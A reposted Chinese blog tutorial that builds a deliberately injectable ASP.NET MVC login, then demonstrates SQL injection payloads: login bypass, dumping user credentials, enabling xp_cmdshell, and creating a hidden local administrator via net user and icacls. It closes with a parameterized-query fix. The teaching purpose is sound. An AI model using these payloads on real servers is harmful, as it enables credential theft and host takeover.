浅谈SQL注入风险 - 一个Login拿下Server(转)

前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。

 

可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”

 

“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”

好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。

 

于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。

 

呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。

 

(*^_^*) 大牛勿喷。

 

 


▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁


 

目录:

  1. 数据库
  2. Web项目
  3. 演示注入
  4. 避免
  5. 完了

 

 

  本文主要就是介绍SQL注入基本手法,危害,以及如何解决。

  技术有点渣渣,大牛勿喷。。。。

 

一、数据库。

只创建了一个Admin表,结构如下:

1 create table Admin
2 ( 3 Id int primary key identity(1,1) not null, 4 Username nvarchar(50) not null, 5 Password nvarchar(50) not null 6 ) 7 go

插入三条测试数据如下:

 

 

 

 

 

二、Web项目

这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

 

1. Model模型层的AdminInfo.cs:

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Linq;  4 using System.Text;  5  6 namespace Guying.BlogsDemo.Model  7 {  8 /// <summary>  9 /// Admin 模型 10 /// </summary> 11 public class AdminInfo 12  { 13 /// <summary> 14 /// 编号 15 /// </summary> 16 public int Id { get; set; } 17 18 /// <summary> 19 /// 账号 20 /// </summary> 21 public string Username { get; set; } 22 23 /// <summary> 24 /// 密码 25 /// </summary> 26 public string Password { get; set; } 27  } 28 }
复制代码
AdminInfo.cs

 

2. Web.config添加连接字符串:

1     <connectionStrings>
2       <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/> 3 </connectionStrings>

 

3. DAL数据层的DBHelper.cs辅助类:

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Configuration;  4 using System.Linq;  5 using System.Text;  6  7 namespace Guying.BlogsDemo.DAL  8 {  9 /// <summary> 10 /// 数据访问辅助类 11 /// </summary> 12 public class DBHelper 13  { 14 /// <summary> 15 /// BlogDemo 数据库链接字符串 16 /// </summary> 17 public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString; 18  } 19 }
复制代码
DBHelper.cs

 

4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Linq;  4 using System.Text;  5 using System.Data.SqlClient;  6 using Guying.BlogsDemo.Model;  7  8 namespace Guying.BlogsDemo.DAL  9 { 10 /// <summary> 11 /// Admin 数据提供 12 /// </summary> 13 public class AdminService 14  { 15 /// <summary> 16 /// Admin 登录 17 /// </summary> 18 /// <param name="adminInfo">登录目标对象</param> 19 /// <returns>返回结果对象,null为登录失败</returns> 20 public AdminInfo Login(AdminInfo adminInfo) 21  { 22 AdminInfo result = null; 23 string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password); 24 using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING)) 25  { 26  conn.Open(); 27 using (SqlCommand comm = new SqlCommand(sql, conn)) 28  { 29 using (SqlDataReader reader = comm.ExecuteReader()) 30  { 31 if (reader.Read()) 32  { 33 result = new AdminInfo() 34  { 35 Id = (int)reader["Id"], 36 Username = reader["Username"].ToString(), 37 Password = reader["Password"].ToString() 38  }; 39  } 40  } 41  } 42  } 43 return result; 44  } 45  } 46 }
复制代码
AdminService.cs(SQL存在注入)

 

5. BLL业务逻辑的AdminManager.cs:

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Linq;  4 using System.Text;  5 using Guying.BlogsDemo.DAL;  6 using Guying.BlogsDemo.Model;  7  8 namespace Guying.BlogsDemo.BLL  9 { 10 public class AdminManager 11  { 12 private AdminService _AdminService = null; 13 14 public AdminManager() 15  { 16 if (_AdminService==null) 17  { 18 _AdminService = new AdminService(); 19  } 20  } 21 22 /// <summary> 23 /// Admin 登录 24 /// </summary> 25 /// <param name="adminInfo">登录目标对象</param> 26 /// <returns>返回结果对象,null为登录失败</returns> 27 public AdminInfo Login(AdminInfo adminInfo) 28  { 29 return _AdminService.Login(adminInfo); 30  } 31  } 32 }
复制代码
AdminManager.cs

 

6. WebUI层的HomeController:

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Linq;  4 using System.Web;  5 using System.Web.Mvc;  6 using Guying.BlogsDemo.Model;  7 using Guying.BlogsDemo.BLL;  8 using System.Text;  9 10 namespace Guying.BlogsDemo.WebUI.Controllers 11 { 12 public class HomeController : Controller 13  { 14  [HttpGet] 15 public ActionResult Login() 16  { 17 return View(); 18  } 19 20  [HttpPost] 21 public ActionResult Login(AdminInfo adminInfo) 22  { 23 AdminManager _AdminManager = new AdminManager(); 24 adminInfo = _AdminManager.Login(adminInfo); 25 JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 }; 26 return json; 27  } 28 29  } 30 }
复制代码
WebUI的HomeController.cs

 

7. WebUI的Views/Home/Login:

复制代码
 1 @model Guying.BlogsDemo.Model.AdminInfo
 2 
 3 @{
 4  ViewBag.Title = "Login";  5 }  6  7 <link href="~/CSS/home.login.css" rel="stylesheet" />  8  9 <div class="box-max"> 10 <h2>Login</h2> 11 <hr /> 12 13  @using (Html.BeginForm()) 14  { 15  @Html.AntiForgeryToken() 16  @Html.ValidationSummary(true) 17 18 <table> 19 <tr> 20 <th>账号:</th> 21 <td> 22  @Html.EditorFor(model => model.Username) 23  @Html.ValidationMessageFor(model => model.Username) 24 </td> 25 </tr> 26 <tr> 27 <th> 28  密码: 29 </th> 30 <td> 31  @Html.EditorFor(model => model.Password) 32  @Html.ValidationMessageFor(model => model.Password) 33 </td> 34 </tr> 35 <tr> 36 <td colspan="2" align="center"> 37 <input type="submit" value="登 录" /> 38 </td> 39 </tr> 40 </table> 41  } 42 </div>
复制代码
Views/Home/Login.cshtml

 

8. WebUIHome/Login的css:

复制代码
1 *{transition:all 0.3s;}
2 body{margin:0px; padding:0px; background-color:#F8F8F8;} 3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;} 4 .box-max table{width:100%;} 5 .box-max table tr{line-height:40px;} 6 .box-max table th{text-align:right;} 7 .box-max table td input{width:100%;} 8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;} 9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}
复制代码
home.login.css

 

9. 运行结果:

 

 

 

 

 

三、注入

1. 废话不多说、直接测试注入。

  账号: ' or 1=1 -- ,密码(随意): fuck ,结果如下:

 

  你还在认为注入只是为了绕过登录进入网站么?

  那你就错了。

 

 

  竟然返回的是一个包含整个用户信息的Json?!

 

  这也是一个程序设计的严重不当!

  不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

  最后导致千万级数据泄露。

 

  也就是类似于下面这样操作:

 

2. 获取所有用户信息:

  这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

  那么我们可以登录这样写(密码随意):

  账号: ' or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  账号: ' or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  账号: ' or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"}

 

  如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

 

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

  账号: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --

  后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

 

  然后,xp_cmdshell已经获取了,你还想干什么不行?

 

  这里我只做一个概念性的测试,演示一下其危害。

  根据项目的不同,注入可能还会导致更严重的后果。

 

  当然,你也可以创建文件,添加任务等,例如这样:

    添加隐藏账号,并提升管理员组:

    账号填写: ' or 1=1; exec xp_cmdshell 'echo net user fuck 123456 /add > D:\a.bat & echo net localgroup administrators fuck /add >> D:\a.bat & echo exit >> D:\a.bat' --

    

    修改权限/修改所有者:

    账号填写: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' --

 

    执行:

    账号填写: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' --

  

  结果:

  

 

  好吧,上面DOS你懂得。

 

  当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

 

 

 

 

 

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

 

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

复制代码
 1 using System;
 2 using System.Collections.Generic;  3 using System.Linq;  4 using System.Text;  5 using System.Data.SqlClient;  6 using Guying.BlogsDemo.Model;  7  8 namespace Guying.BlogsDemo.DAL  9 { 10 /// <summary> 11 /// Admin 数据提供 12 /// </summary> 13 public class AdminService 14  { 15 /// <summary> 16 /// Admin 登录 17 /// </summary> 18 /// <param name="adminInfo">登录目标对象</param> 19 /// <returns>返回操作结果,true成功 / false失败</returns> 20 public bool Login(AdminInfo adminInfo) 21  { 22 int count = 0; 23 string sql = " select count(1) from Admin where Username=@Username and Password=@Password "; 24 using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING)) 25  { 26  conn.Open(); 27 using (SqlCommand comm = new SqlCommand(sql, conn)) 28  { 29 comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) }); 30 count = (int)comm.ExecuteScalar(); 31  } 32  } 33 return count > 0; 34  } 35  } 36 }
复制代码
修改后的登录方法

 

  平时写代码,多注意下这些问题。

  当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。

五、 没了

就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。

 

毕竟每个项目不一样,指不定注入还会导致什么问题呢。

 

最后。。。。。。。。。。。大牛勿喷。么么哒~

http://www.cnblogs.com/LonelyShadow/p/4925127.html

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/296119.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

炸了!中国学者首次被Science撤稿,与之前首次被Nature撤稿的教授来自同一所大学……...

全世界只有3.14 % 的人关注了爆炸吧知识两次撤稿并非学术造假&#xff1f;国庆假期结束的第一天&#xff0c;Science杂志将中国地质大学宋怀兵副教授两个月前发表的文章进行了撤稿处理。这也是新中国建国以来&#xff0c;首次被Science撤稿的论文。其实早在8月&#xff0c;Scie…

如何编写干净流畅的Web API测试

前言当我们为Web API编写测试用例时&#xff0c;代码基本是这样的&#xff1a;public class UnitTest1 {private readonly TestServer _server;private readonly HttpClient _client;public UnitTest1(){// Arrange_server new TestServer(new WebHostBuilder().UseStartup<…

SFB2015 多SIP域

SFB2015 多SIP域最近公司有打算要安装最新的SFB2015作为一个SFB小白 在通读了官方安装文章之后竟然磕磕绊绊的安装成功&#xff0c;客户端登录也是成功的&#xff0c;下面就有一个十分蛋疼的问题 公司内外网域名不一致虽然在进行拓扑准备的时候进行了多SIP域的准备&#xff0c;…

中国25个最“吓人”地名,看完都被吓笑了!

全世界只有3.14 % 的人关注了爆炸吧知识转自&#xff1a;中学地理课中国人起名字&#xff0c;是很有讲究的。不管是起人名&#xff0c;还是起地名&#xff0c;和作诗差不多&#xff0c;都是在营造一个意境。就拿北京来说吧&#xff0c;比如颐和园&#xff0c;听着端庄&#xff…

C# 显式接口成员实现

如果类实现两个接口&#xff0c;并且这两个接口包含具有相同签名的成员&#xff0c;那么在类中实现该成员将导致两个接口都使用该成员作为它们的实现。然而&#xff0c;如果两个接口成员实现不同的功能&#xff0c;则可能会导致其中一个接口的实现不正确或两个接口的实现都不正…

没有数学天赋是一种什么体验?

全世界只有3.14 % 的人关注了爆炸吧知识虽然我不懂但我热爱数学♪没有数学天赋是一种什么体验&#xff1f;1 看不懂懵逼矩阵2 小学数学不及格&#xff0c;找了个纹身店&#xff0c;问老板纹个九九乘法口诀多少钱。老板说了一个价钱&#xff0c;后来因算不出要存多少天早餐钱而作…

20151026c#2

变量是内存里存储的&#xff0c;运行在cpu里的。 数据类型 值类型&#xff1a;所有的数值类型都是值类型&#xff08;short int long float double、bool)、枚举、结构 引用类型&#xff1a;对象、字符串、object、数组 区别&#xff1a; 1、值类型 class Program{static void …

一个常见的物理现象,直今还是未解之谜!

全世界只有3.14 % 的人关注了爆炸吧知识在我们的日常生活中存在着很多有趣的物理现象&#xff0c; 科学家对这些现象进行深入研究后&#xff0c;可以通过这些现象延伸&#xff0c;从而在前沿科技发展上得到很大的帮助&#xff0c;甚至去解决宇宙中出现的难题。但是在日常生活中…

SegmentFault 创始人祁宁对话 C# 之父 Anders Hejlsberg

导读 上周&#xff0c;C#、Delphi 之父 Anders Hejlsberg 亲临帝都&#xff0c;就 TypeScript 做了一场技术分享&#xff0c;并与众多开发者就此进行了技术探讨。Anders Hejlsberg 加入微软的 19 年里&#xff0c;一直致力于 C# 和 .NET 的研发工作。同时&#xff0c;作为 Type…

JS:1.3,函数(function)

ylbtech-JS&#xff1a;函数-导航函数定义返回函数调用一个函数调用一个函数(带参数)返回值的函数调用外部的js文件JS&#xff1a;3.1&#xff0c;函数(function)-定义 返回顶部1&#xff0c;定义函数语法 通过定义函数名称&#xff0c;参数和代码语句来创建函数。function 函数…

美女,你这是把腰带当裙子了?

1 你这是把腰带当裙子了&#xff1f;&#xff08;良心建议&#xff1a;穿这裙子一定要专心...&#xff09;▼2 真正充满味道的食堂&#xff01;▼3 &#xff1f;&#xff1f;&#xff1f;这又是一只有故事的猫▼4 女生的肚子可以多神奇&#xff1f;&#xff08;dy&#xff…

UITableView定制accessoryView出现的连带问题

为了美化UI,想实现如下图的效果:点击高亮 出发点是好的。没想到&#xff0c;出现了下图的连带问题:选择一行的时候&#xff0c;竟然连带的出现了高亮效果 这个如何是好&#xff1f;经过网络搜索&#xff0c;发现我不是第一个遇到这样的问题&#xff1a;custom-accessory-button…

Asp.NET Core 如何使用ElasticSearch和Kibana创建仪表板

图片在我以前的文章&#xff08;这里是第一[1]篇和第二篇[2]&#xff09;中&#xff0c;我展示了ElasticSearch作为电子商务中的全文搜索引擎的使用&#xff0c;一些高级配置的设置和使用以及products包含所有内容的索引的创建保存的产品。出于演示目的&#xff0c;我们使用Bog…

男女共厕,考验男生心理素质的时候到了......

1 假期里你都干了啥&#xff1f;▼2 有猫饼▼3 奥特曼&#xff1a;我不会错过&#xff01;▼4 自绝式单身▼5 我信了▼6 意外的惊喜▼7 画面太美我不敢看▼你点的每个赞&#xff0c;我都认真当成了喜欢

基于MySQL的高可用可扩展架构探讨

随着信息量飞涨&#xff0c;信息的存储成为了这个时代至关重要的一项技术。如何来保证数据存储技术能够适应信息量的增长速度和我们对信息的高度依赖&#xff0c;成为一个非常重要的课题。本文将从数据库架构的层面&#xff0c;通过以开源的数据存储软件来构建分布式数据层的思…

有趣分享:国内产业图谱

IT有趣分享”Microsoft 市值又重新登上全球第一当地时间21年10月29号周五美股收盘微软市值重新登上全球第一&#xff0c;约为2.46万亿美元&#xff0c;超越苹果2.43万亿美元&#xff0c;成为全球市值第一公司。相当于深圳21年前三季度的gdp的总和的两倍。有趣的是专门有人做了公…

性冷淡风的麻将,获红点奖!网友:没有烟火气了

全世界只有3.14 % 的人关注了爆炸吧知识在这个消费升级的时代很多产品都被重新设计着最近&#xff0c;一款麻将引发大家热议有人说惊艳也有人说太冰冷&#xff0c;没了烟火气设计者是THE 90s LAB台湾的一个90后团队这副麻将的名字很洋气叫做&#xff0c;马丘Machill读起来&…

c语言md5函数 linux,Linux下C语言计算文件的md5值(长度32)

google了好久都没有找到合适的&#xff0c;其实我只需要一个函数&#xff0c;能计算文件的 md5 值就好&#xff0c;后来找到了 md5.h 和 md5.c 的源文件&#xff0c;仿照别人的封装了个函数(他那个有问题&#xff0c;和 md5sum 计算出来的都不一样)。废话少说&#xff0c;直接贴…

图片的旋转

主要运用了Matrix类&#xff0c;postRotate()方法和postScale()方法&#xff1b; Matrix&#xff1a;中文是矩阵的意思&#xff0c;主要用于图片的缩放&#xff0c;平移与旋转&#xff1b; postRotate()用于旋转&#xff0c;postScale()用于缩放&#xff1b; 具体MianAvtivity代…

让 AI 为你写代码 - 体验 Github Copilot

前几天在群里看到有大神分享 Copoilot AI 写代码&#xff0c;看了几个截图有点不敢相信自己的眼睛。今天赶紧自己也来体验一下 Copoilot AI 写代码到底有多神奇。申请 现在 Copoilot 还处在预览阶段&#xff0c;想要体验需要先申请。等待大概一晚会收到邮件提示申请试用成功&am…